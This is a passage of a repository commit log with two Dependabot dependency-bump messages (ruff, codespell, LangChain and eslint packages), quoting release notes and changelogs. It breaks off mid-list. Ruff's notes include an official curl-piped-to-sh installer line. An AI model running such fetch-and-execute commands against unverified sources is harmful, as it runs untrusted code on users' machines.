3 people	f7d94d2b2f	chore(deps): bump the all-dependencies group in /libs/cli with 2 updates (#7075) ... Bumps the all-dependencies group in /libs/cli with 2 updates: [ruff](https://github.com/astral-sh/ruff) and [codespell](https://github.com/codespell-project/codespell). Updates `ruff` from 0.15.4 to 0.15.5 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/astral-sh/ruff/releases">ruff's releases</a>.</em></p> <blockquote> <h2>0.15.5</h2> <h2>Release Notes</h2> <p>Released on 2026-03-05.</p> <h3>Preview features</h3> <ul> <li>Discover Markdown files by default in preview mode (<a href="https://redirect.github.com/astral-sh/ruff/pull/23434">#23434</a>)</li> <li>[<code>perflint</code>] Extend <code>PERF102</code> to comprehensions and generators (<a href="https://redirect.github.com/astral-sh/ruff/pull/23473">#23473</a>)</li> <li>[<code>refurb</code>] Fix <code>FURB101</code> and <code>FURB103</code> false positives when I/O variable is used later (<a href="https://redirect.github.com/astral-sh/ruff/pull/23542">#23542</a>)</li> <li>[<code>ruff</code>] Add fix for <code>none-not-at-end-of-union</code> (<code>RUF036</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/22829">#22829</a>)</li> <li>[<code>ruff</code>] Fix false positive for <code>re.split</code> with empty string pattern (<code>RUF055</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/23634">#23634</a>)</li> </ul> <h3>Bug fixes</h3> <ul> <li>[<code>fastapi</code>] Handle callable class dependencies with <code>__call__</code> method (<code>FAST003</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/23553">#23553</a>)</li> <li>[<code>pydocstyle</code>] Fix numpy section ordering (<code>D420</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/23685">#23685</a>)</li> <li>[<code>pyflakes</code>] Fix false positive for names shadowing re-exports (<code>F811</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/23356">#23356</a>)</li> <li>[<code>pyupgrade</code>] Avoid inserting redundant <code>None</code> elements in <code>UP045</code> (<a href="https://redirect.github.com/astral-sh/ruff/pull/23459">#23459</a>)</li> </ul> <h3>Documentation</h3> <ul> <li>Document extension mapping for Markdown code formatting (<a href="https://redirect.github.com/astral-sh/ruff/pull/23574">#23574</a>)</li> <li>Update default Python version examples (<a href="https://redirect.github.com/astral-sh/ruff/pull/23605">#23605</a>)</li> </ul> <h3>Other changes</h3> <ul> <li>Publish releases to Astral mirror (<a href="https://redirect.github.com/astral-sh/ruff/pull/23616">#23616</a>)</li> </ul> <h3>Contributors</h3> <ul> <li><a href="https://github.com/amyreese"><code>@​amyreese</code></a></li> <li><a href="https://github.com/stakeswky"><code>@​stakeswky</code></a></li> <li><a href="https://github.com/chirizxc"><code>@​chirizxc</code></a></li> <li><a href="https://github.com/anishgirianish"><code>@​anishgirianish</code></a></li> <li><a href="https://github.com/bxff"><code>@​bxff</code></a></li> <li><a href="https://github.com/zsol"><code>@​zsol</code></a></li> <li><a href="https://github.com/charliermarsh"><code>@​charliermarsh</code></a></li> <li><a href="https://github.com/ntBre"><code>@​ntBre</code></a></li> <li><a href="https://github.com/kar-ganap"><code>@​kar-ganap</code></a></li> </ul> <h2>Install ruff 0.15.5</h2> <h3>Install prebuilt binaries via shell script</h3> <pre lang="sh"><code>curl --proto '=https' --tlsv1.2 -LsSf https://github.com/astral-sh/ruff/releases/download/0.15.5/ruff-installer.sh | sh </code></pre> <h3>Install prebuilt binaries via powershell script</h3> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md">ruff's changelog</a>.</em></p> <blockquote> <h2>0.15.5</h2> <p>Released on 2026-03-05.</p> <h3>Preview features</h3> <ul> <li>Discover Markdown files by default in preview mode (<a href="https://redirect.github.com/astral-sh/ruff/pull/23434">#23434</a>)</li> <li>[<code>perflint</code>] Extend <code>PERF102</code> to comprehensions and generators (<a href="https://redirect.github.com/astral-sh/ruff/pull/23473">#23473</a>)</li> <li>[<code>refurb</code>] Fix <code>FURB101</code> and <code>FURB103</code> false positives when I/O variable is used later (<a href="https://redirect.github.com/astral-sh/ruff/pull/23542">#23542</a>)</li> <li>[<code>ruff</code>] Add fix for <code>none-not-at-end-of-union</code> (<code>RUF036</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/22829">#22829</a>)</li> <li>[<code>ruff</code>] Fix false positive for <code>re.split</code> with empty string pattern (<code>RUF055</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/23634">#23634</a>)</li> </ul> <h3>Bug fixes</h3> <ul> <li>[<code>fastapi</code>] Handle callable class dependencies with <code>__call__</code> method (<code>FAST003</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/23553">#23553</a>)</li> <li>[<code>pydocstyle</code>] Fix numpy section ordering (<code>D420</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/23685">#23685</a>)</li> <li>[<code>pyflakes</code>] Fix false positive for names shadowing re-exports (<code>F811</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/23356">#23356</a>)</li> <li>[<code>pyupgrade</code>] Avoid inserting redundant <code>None</code> elements in <code>UP045</code> (<a href="https://redirect.github.com/astral-sh/ruff/pull/23459">#23459</a>)</li> </ul> <h3>Documentation</h3> <ul> <li>Document extension mapping for Markdown code formatting (<a href="https://redirect.github.com/astral-sh/ruff/pull/23574">#23574</a>)</li> <li>Update default Python version examples (<a href="https://redirect.github.com/astral-sh/ruff/pull/23605">#23605</a>)</li> </ul> <h3>Other changes</h3> <ul> <li>Publish releases to Astral mirror (<a href="https://redirect.github.com/astral-sh/ruff/pull/23616">#23616</a>)</li> </ul> <h3>Contributors</h3> <ul> <li><a href="https://github.com/amyreese"><code>@​amyreese</code></a></li> <li><a href="https://github.com/stakeswky"><code>@​stakeswky</code></a></li> <li><a href="https://github.com/chirizxc"><code>@​chirizxc</code></a></li> <li><a href="https://github.com/anishgirianish"><code>@​anishgirianish</code></a></li> <li><a href="https://github.com/bxff"><code>@​bxff</code></a></li> <li><a href="https://github.com/zsol"><code>@​zsol</code></a></li> <li><a href="https://github.com/charliermarsh"><code>@​charliermarsh</code></a></li> <li><a href="https://github.com/ntBre"><code>@​ntBre</code></a></li> <li><a href="https://github.com/kar-ganap"><code>@​kar-ganap</code></a></li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/astral-sh/ruff/commit/5e4a3d9c3b381df20f6a52caef0f56ed0ebc74be"><code>5e4a3d9</code></a> Bump 0.15.5 (<a href="https://redirect.github.com/astral-sh/ruff/issues/23743">#23743</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/69c23cc5a3a6cb08d81b01c7d1c2ba0482c3a3b1"><code>69c23cc</code></a> [ty] Render all changed diagnostics in conformance.py (<a href="https://redirect.github.com/astral-sh/ruff/issues/23613">#23613</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/4926bd58204839cb75a8ed1397e824bbc8f644ca"><code>4926bd5</code></a> [ty] Split deferred checks out of <code>types/infer/builder.rs</code> (<a href="https://redirect.github.com/astral-sh/ruff/issues/23740">#23740</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/9a70f5eb2fb0180953418cd6ac037cb3d531e77b"><code>9a70f5e</code></a> Discover markdown files by default in preview mode (<a href="https://redirect.github.com/astral-sh/ruff/issues/23434">#23434</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/3dc78b0a84ee231afb1c3329e11bfc912c236366"><code>3dc78b0</code></a> [ty] Use <code>HasOptionalDefinition</code> for <code>except</code> handlers (<a href="https://redirect.github.com/astral-sh/ruff/issues/23739">#23739</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/a6a5e8d10b8a5185049827be0a304db522b91c9a"><code>a6a5e8d</code></a> [ty] Fix precedence of <code>all</code> selector in TOML configurations (<a href="https://redirect.github.com/astral-sh/ruff/issues/23723">#23723</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/2a5384b0b6e22ab511aec6f8dbb11648befda887"><code>2a5384b</code></a> [ty] Make <code>all</code> selector case sensitive (<a href="https://redirect.github.com/astral-sh/ruff/issues/23713">#23713</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/db77d7b2ae3da8deed64d8889a5cbcea287b52a6"><code>db77d7b</code></a> [ty] Add a diagnostic if a <code>TypeVar</code> is used to specialize a <code>ParamSpec</code>, or ...</li> <li><a href="https://github.com/astral-sh/ruff/commit/db2849068f7d6a1f42cdafec46a7c2c83d39ece3"><code>db28490</code></a> [ty] Override home directory in ty tests (<a href="https://redirect.github.com/astral-sh/ruff/issues/23724">#23724</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/5f0fd91a230972bb9d1e4545ebaed2b7d09158a2"><code>5f0fd91</code></a> [ty] More type-variable default validation (<a href="https://redirect.github.com/astral-sh/ruff/issues/23639">#23639</a>)</li> <li>Additional commits viewable in <a href="https://github.com/astral-sh/ruff/compare/0.15.4...0.15.5">compare view</a></li> </ul> </details> <br /> Updates `codespell` from 2.4.1 to 2.4.2 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/codespell-project/codespell/releases">codespell's releases</a>.</em></p> <blockquote> <h2>v2.4.2</h2> <!-- raw HTML omitted --> <h2>Highlights</h2> <ul> <li>Fixed compatibility with chardet 7+</li> </ul> <h2>What's Changed</h2> <ul> <li>Fix and clarify cases in ignore patterns by <a href="https://github.com/DanielYang59"><code>@​DanielYang59</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3583">codespell-project/codespell#3583</a></li> <li>codespell-private.yml: Do not codespell digital signature files by <a href="https://github.com/cclauss"><code>@​cclauss</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3623">codespell-project/codespell#3623</a></li> <li>[pre-commit.ci] pre-commit autoupdate by <a href="https://github.com/pre-commit-ci"><code>@​pre-commit-ci</code></a>[bot] in <a href="https://redirect.github.com/codespell-project/codespell/pull/3634">codespell-project/codespell#3634</a></li> <li>numbes-&gt;numbers and numbesr-&gt;numbers by <a href="https://github.com/skshetry"><code>@​skshetry</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3635">codespell-project/codespell#3635</a></li> <li>Add spelling corrections for disclose and variables. by <a href="https://github.com/cfi-gb"><code>@​cfi-gb</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3622">codespell-project/codespell#3622</a></li> <li>Add spelling correction for Vulnererability and variants. by <a href="https://github.com/cfi-gb"><code>@​cfi-gb</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3625">codespell-project/codespell#3625</a></li> <li>Remove lets-&gt;let's by <a href="https://github.com/Piedone"><code>@​Piedone</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3633">codespell-project/codespell#3633</a></li> <li>Add corrections for &quot;dictate&quot; by <a href="https://github.com/jdufresne"><code>@​jdufresne</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3636">codespell-project/codespell#3636</a></li> <li>Add specicification (and pl) typo by <a href="https://github.com/yarikoptic"><code>@​yarikoptic</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3639">codespell-project/codespell#3639</a></li> <li>Remove &quot;blueish&quot; correction by <a href="https://github.com/hadess"><code>@​hadess</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3510">codespell-project/codespell#3510</a></li> <li>Add &quot;lighting&quot; as an option to fix &quot;lighning&quot; by <a href="https://github.com/yarikoptic"><code>@​yarikoptic</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3648">codespell-project/codespell#3648</a></li> <li>Revert adding <code>lien</code> to the rare dictionary by <a href="https://github.com/nikolaik"><code>@​nikolaik</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3631">codespell-project/codespell#3631</a></li> <li>&quot;ane&quot; could have been &quot;one&quot; by <a href="https://github.com/yarikoptic"><code>@​yarikoptic</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3645">codespell-project/codespell#3645</a></li> <li>Add spelling correction for &quot;priort&quot; by <a href="https://github.com/cfi-gb"><code>@​cfi-gb</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3647">codespell-project/codespell#3647</a></li> <li>Remove &quot;fix&quot; of &quot;deques&quot; - it is quite legit by <a href="https://github.com/yarikoptic"><code>@​yarikoptic</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3649">codespell-project/codespell#3649</a></li> <li>Several new suggestions by <a href="https://github.com/mdeweerd"><code>@​mdeweerd</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3621">codespell-project/codespell#3621</a></li> <li>Add proposal constraints to containts by <a href="https://github.com/mdeweerd"><code>@​mdeweerd</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3652">codespell-project/codespell#3652</a></li> <li>Additions dleay,infp,practive,utiliy by <a href="https://github.com/mdeweerd"><code>@​mdeweerd</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3643">codespell-project/codespell#3643</a></li> <li>Add calncelled and its variations by <a href="https://github.com/mdeweerd"><code>@​mdeweerd</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3650">codespell-project/codespell#3650</a></li> <li>Use raw strings for regex by <a href="https://github.com/DimitriPapadopoulos"><code>@​DimitriPapadopoulos</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3654">codespell-project/codespell#3654</a></li> <li>Allow multiple spaces before codespell:ignore by <a href="https://github.com/DimitriPapadopoulos"><code>@​DimitriPapadopoulos</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3653">codespell-project/codespell#3653</a></li> <li>Added correction from <code>timeour</code> to <code>timeout</code> by <a href="https://github.com/jamesbraza"><code>@​jamesbraza</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3656">codespell-project/codespell#3656</a></li> <li>Add typos found in various software projects by <a href="https://github.com/luzpaz"><code>@​luzpaz</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3640">codespell-project/codespell#3640</a></li> <li>[pre-commit.ci] pre-commit autoupdate by <a href="https://github.com/pre-commit-ci"><code>@​pre-commit-ci</code></a>[bot] in <a href="https://redirect.github.com/codespell-project/codespell/pull/3659">codespell-project/codespell#3659</a></li> <li>Add codespell suggestions for enabke and friends by <a href="https://github.com/mdeweerd"><code>@​mdeweerd</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3657">codespell-project/codespell#3657</a></li> <li>END: add &quot;queues&quot; (plural from queue) as possible fix for ques by <a href="https://github.com/yarikoptic"><code>@​yarikoptic</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3591">codespell-project/codespell#3591</a></li> <li>agreegate, lesda, realod, colouer by <a href="https://github.com/mdeweerd"><code>@​mdeweerd</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3665">codespell-project/codespell#3665</a></li> <li>Update pre-commit version in documentation by <a href="https://github.com/prchoward"><code>@​prchoward</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3666">codespell-project/codespell#3666</a></li> <li>MAINT: Rename CI file and run name by <a href="https://github.com/larsoner"><code>@​larsoner</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3667">codespell-project/codespell#3667</a></li> <li>preoccuption-&gt;preoccupation; occuption-&gt;occupation by <a href="https://github.com/TheGiraffe3"><code>@​TheGiraffe3</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3668">codespell-project/codespell#3668</a></li> <li>Suggestions for: checkto, diminsion, waitfor by <a href="https://github.com/mdeweerd"><code>@​mdeweerd</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3670">codespell-project/codespell#3670</a></li> <li>Typos found in sigstore-python by <a href="https://github.com/DimitriPapadopoulos"><code>@​DimitriPapadopoulos</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3664">codespell-project/codespell#3664</a></li> <li>usgin-&gt;using by <a href="https://github.com/ydah"><code>@​ydah</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3672">codespell-project/codespell#3672</a></li> <li>Add typos found in various software projects by <a href="https://github.com/luzpaz"><code>@​luzpaz</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3669">codespell-project/codespell#3669</a></li> <li>Add coered -&gt; coerced by <a href="https://github.com/effigies"><code>@​effigies</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3680">codespell-project/codespell#3680</a></li> <li>backwward(s)-&gt;backward(s), onwward(s)-&gt;onward(s) by <a href="https://github.com/cjwatson"><code>@​cjwatson</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3682">codespell-project/codespell#3682</a></li> <li>[pre-commit.ci] pre-commit autoupdate by <a href="https://github.com/pre-commit-ci"><code>@​pre-commit-ci</code></a>[bot] in <a href="https://redirect.github.com/codespell-project/codespell/pull/3685">codespell-project/codespell#3685</a></li> <li>telemetery-&gt;telemetry by <a href="https://github.com/august-soderberg"><code>@​august-soderberg</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3686">codespell-project/codespell#3686</a></li> <li>Add hexedacimal and similar typos by <a href="https://github.com/Akuli"><code>@​Akuli</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3692">codespell-project/codespell#3692</a></li> <li>Add rounted-&gt;routed, rounded and friends by <a href="https://github.com/peternewman"><code>@​peternewman</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3693">codespell-project/codespell#3693</a></li> <li>Add symmectric and similar typos by <a href="https://github.com/Akuli"><code>@​Akuli</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3694">codespell-project/codespell#3694</a></li> <li>Fix CI on Windows: pip upgrade pip by <a href="https://github.com/DimitriPapadopoulos"><code>@​DimitriPapadopoulos</code></a> in <a href="https://redirect.github.com/codespell-project/codespell/pull/3698">codespell-project/codespell#3698</a></li> </ul> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/codespell-project/codespell/commit/2ccb47ff45ad361a21071a7eedda4c37e6ae8c5a"><code>2ccb47f</code></a> Compat with chardet 7 (<a href="https://redirect.github.com/codespell-project/codespell/issues/3886">#3886</a>)</li> <li><a href="https://github.com/codespell-project/codespell/commit/4ec53bf6a3e510c64900d5ee838abd99d49b2910"><code>4ec53bf</code></a> [pre-commit.ci] pre-commit autoupdate</li> <li><a href="https://github.com/codespell-project/codespell/commit/2a4acba3f282f1b5ccb7ad8b57bc991810663a44"><code>2a4acba</code></a> Bump actions/download-artifact from 7 to 8</li> <li><a href="https://github.com/codespell-project/codespell/commit/be17cacc96a5ee3f014e048f5962cfdb7145e096"><code>be17cac</code></a> Bump actions/upload-artifact from 6 to 7</li> <li><a href="https://github.com/codespell-project/codespell/commit/04a071280d56148cab14249ccc8d4181c0066b3c"><code>04a0712</code></a> Bump ruff (<a href="https://redirect.github.com/codespell-project/codespell/issues/3879">#3879</a>)</li> <li><a href="https://github.com/codespell-project/codespell/commit/583d8796d92eb58e15072db03e5b756be45f638a"><code>583d879</code></a> avoide-&gt;avoid, avoided, avoids,</li> <li><a href="https://github.com/codespell-project/codespell/commit/1f59f34d7c6d1642fdb325d9dfa49cf9eb5f692a"><code>1f59f34</code></a> Add correction for 'foudation' to 'foundation'</li> <li><a href="https://github.com/codespell-project/codespell/commit/e047fdafb8620b08a86349014487886bcd9c2205"><code>e047fda</code></a> Add spelling correction for gather and variants.</li> <li><a href="https://github.com/codespell-project/codespell/commit/b5cd66de14b8f65b0f45fabbe1c89bd69ea60939"><code>b5cd66d</code></a> respondant-&gt;respondent</li> <li><a href="https://github.com/codespell-project/codespell/commit/92125a3814fa6e86cd2055385916ce5186d3e5df"><code>92125a3</code></a> Add detection of ivoice and variants.</li> <li>Additional commits viewable in <a href="https://github.com/codespell-project/codespell/compare/v2.4.1...v2.4.2">compare view</a></li> </ul> </details> <br /> Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`. [//]: # (dependabot-automerge-start) [//]: # (dependabot-automerge-end) --- <details> <summary>Dependabot commands and options</summary> <br /> You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot show <dependency name> ignore conditions` will show all of the ignore conditions of the specified dependency - `@dependabot ignore <dependency name> major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself) - `@dependabot ignore <dependency name> minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself) - `@dependabot ignore <dependency name>` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself) - `@dependabot unignore <dependency name>` will remove all of the ignore conditions of the specified dependency - `@dependabot unignore <dependency name> <ignore condition>` will remove the ignore condition of the specified dependency and ignore conditions </details> Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>	2026-03-09 16:05:39 -07:00
3 people	7256520b08	chore(deps): bump the all-dependencies group in /libs/cli/js-examples with 6 updates (#6992) ... Bumps the all-dependencies group in /libs/cli/js-examples with 6 updates: | Package | From | To | | --- | --- | --- | | [@langchain/core](https://github.com/langchain-ai/langchainjs) | `1.1.27` | `1.1.29` | | [@langchain/langgraph](https://github.com/langchain-ai/langgraphjs/tree/HEAD/libs/langgraph-core) | `1.1.5` | `1.2.0` | | [@eslint/eslintrc](https://github.com/eslint/eslintrc) | `3.3.3` | `3.3.4` | | [@typescript-eslint/eslint-plugin](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin) | `8.56.0` | `8.56.1` | | [@typescript-eslint/parser](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/parser) | `8.56.0` | `8.56.1` | | [eslint](https://github.com/eslint/eslint) | `10.0.1` | `10.0.2` | Updates `@langchain/core` from 1.1.27 to 1.1.29 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/langchain-ai/langchainjs/releases"><code>@​langchain/core</code>'s releases</a>.</em></p> <blockquote> <h2><code>@​langchain/core</code><a href="https://github.com/1"><code>@​1</code></a>.1.29</h2> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10106">#10106</a> <a href="https://github.com/langchain-ai/langchainjs/commit/9f30267e95a2a42fac71f1d3674b84c5a190dbbc"><code>9f30267</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - Add package version metadata to runnable traces. Each package now stamps its version in <code>this.metadata.versions</code> at construction time, making version info available in LangSmith trace metadata.</p> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10154">#10154</a> <a href="https://github.com/langchain-ai/langchainjs/commit/403a99fd826383f30300809ae077e1c967023520"><code>403a99f</code></a> Thanks <a href="https://github.com/kanweiwei"><code>@​kanweiwei</code></a>! - fix(core): add usage_metadata to AIMessage lc_aliases</p> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10169">#10169</a> <a href="https://github.com/langchain-ai/langchainjs/commit/3b1fd5458a4aa29c398122829f383f21b5ac39da"><code>3b1fd54</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - fix(core, langchain): bump uuid dependency from ^10.0.0 to ^11.0.0 to fix Metro bundler error</p> <p>The <code>uuid</code> v10 package has ambiguous <code>exports</code> in its <code>package.json</code> which causes Metro (used by Expo/React Native) to resolve the wrong entry point, resulting in <code>Cannot read properties of undefined (reading 'v1')</code>. The <code>uuid</code> v11 package fixes its exports map to work correctly with Metro's package exports resolution.</p> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10044">#10044</a> <a href="https://github.com/langchain-ai/langchainjs/commit/77bd98274a885e947d76f7a9c6dd0b3763453218"><code>77bd982</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - fix(core): remove inherited LangChainTracer handlers when tracingEnabled is false</p> <p>When a RunTree explicitly disables tracing via <code>tracingEnabled: false</code>, <code>CallbackManager._configureSync</code> now strips any inherited <code>LangChainTracer</code> handlers so child runs don't produce traces.</p> </li> </ul> <h2><code>@​langchain/core</code><a href="https://github.com/1"><code>@​1</code></a>.1.28</h2> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10140">#10140</a> <a href="https://github.com/langchain-ai/langchainjs/commit/10a876c7d5ff27d8f2889761ee20e95f76a50518"><code>10a876c</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - Merge content blocks by string index during streaming.</p> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10102">#10102</a> <a href="https://github.com/langchain-ai/langchainjs/commit/b46d96a508a8bf212561dbb6f025e35c75f16257"><code>b46d96a</code></a> Thanks <a href="https://github.com/colifran"><code>@​colifran</code></a>! - feat: implement aynchronous generator tool calling for streaming partial tool results</p> </li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li>See full diff in <a href="https://github.com/langchain-ai/langchainjs/commits/@langchain/core@1.1.29">compare view</a></li> </ul> </details> <br /> Updates `@langchain/langgraph` from 1.1.5 to 1.2.0 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/langchain-ai/langgraphjs/releases"><code>@​langchain/langgraph</code>'s releases</a>.</em></p> <blockquote> <h2><code>@​langchain/langgraph-checkpoint-mongodb</code><a href="https://github.com/1"><code>@​1</code></a>.2.0</h2> <h3>Minor Changes</h3> <ul> <li><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/1991">#1991</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/38db67f3599daffcbec5d04f16f36e69abe22e08"><code>38db67f</code></a> Thanks <a href="https://github.com/vanb"><code>@​vanb</code></a>! - Add optional <code>enableTimestamps</code> parameter to <code>MongoDBSaver</code> that sets an <code>upserted_at</code> date via MongoDB's <code>$currentDate</code> operator on every upsert. Useful for MongoDB TTL indexes, auditing, or debugging.</li> </ul> <h2><code>@​langchain/langgraph</code><a href="https://github.com/1"><code>@​1</code></a>.2.0</h2> <h3>Minor Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/2002">#2002</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/fce9d38267e7d99029646cfcf7abb78c7b937e34"><code>fce9d38</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - feat(langgraph): add Overwrite class for bypassing channel reducers</p> <p>Adds an <code>Overwrite</code> class and <code>OverwriteValue</code> type that allow nodes to bypass reducers in <code>BinaryOperatorAggregate</code> channels, writing values directly instead of passing them through the reducer function. This is useful when a node needs to replace accumulated state rather than append to it.</p> <ul> <li>New <code>Overwrite</code> class exported from <code>@langchain/langgraph</code></li> <li><code>BinaryOperatorAggregate</code> channel detects <code>OverwriteValue</code> and sets the value directly</li> <li><code>Annotation</code>, <code>StateSchema</code>, and zod schema type mappings updated to include <code>OverwriteValue</code> in update types</li> </ul> </li> </ul> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/1992">#1992</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/937f78030f1360251361c6096bbd0ff287662a2b"><code>937f780</code></a> Thanks <a href="https://github.com/christian-bromann"><code>@​christian-bromann</code></a>! - fix(core): don't trace channel read/writes</p> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/1984">#1984</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/aa8e878e5b71128685ab7e7a79c96bd2519c0123"><code>aa8e878</code></a> Thanks <a href="https://github.com/colifran"><code>@​colifran</code></a>! - feat: add tools stream mode for tool lifecycle events</p> </li> <li> <p>Updated dependencies [<a href="https://github.com/langchain-ai/langgraphjs/commit/aa8e878e5b71128685ab7e7a79c96bd2519c0123"><code>aa8e878</code></a>, <a href="https://github.com/langchain-ai/langgraphjs/commit/1b088e578aaef7d231f37885b94bfd763f99a775"><code>1b088e5</code></a>]:</p> <ul> <li><code>@​langchain/langgraph-sdk</code><a href="https://github.com/1"><code>@​1</code></a>.6.5</li> </ul> </li> </ul> <h2><code>@​langchain/langgraph-api</code><a href="https://github.com/1"><code>@​1</code></a>.1.14</h2> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/1984">#1984</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/aa8e878e5b71128685ab7e7a79c96bd2519c0123"><code>aa8e878</code></a> Thanks <a href="https://github.com/colifran"><code>@​colifran</code></a>! - feat: add tools stream mode for tool lifecycle events</p> </li> <li> <p>Updated dependencies [<a href="https://github.com/langchain-ai/langgraphjs/commit/aa8e878e5b71128685ab7e7a79c96bd2519c0123"><code>aa8e878</code></a>, <a href="https://github.com/langchain-ai/langgraphjs/commit/1b088e578aaef7d231f37885b94bfd763f99a775"><code>1b088e5</code></a>]:</p> <ul> <li><code>@​langchain/langgraph-sdk</code><a href="https://github.com/1"><code>@​1</code></a>.6.5</li> <li><code>@​langchain/langgraph-ui</code><a href="https://github.com/1"><code>@​1</code></a>.1.14</li> </ul> </li> </ul> <h2><code>@​langchain/langgraph-cli</code><a href="https://github.com/1"><code>@​1</code></a>.1.14</h2> <h3>Patch Changes</h3> <ul> <li>Updated dependencies [<a href="https://github.com/langchain-ai/langgraphjs/commit/aa8e878e5b71128685ab7e7a79c96bd2519c0123"><code>aa8e878</code></a>]: <ul> 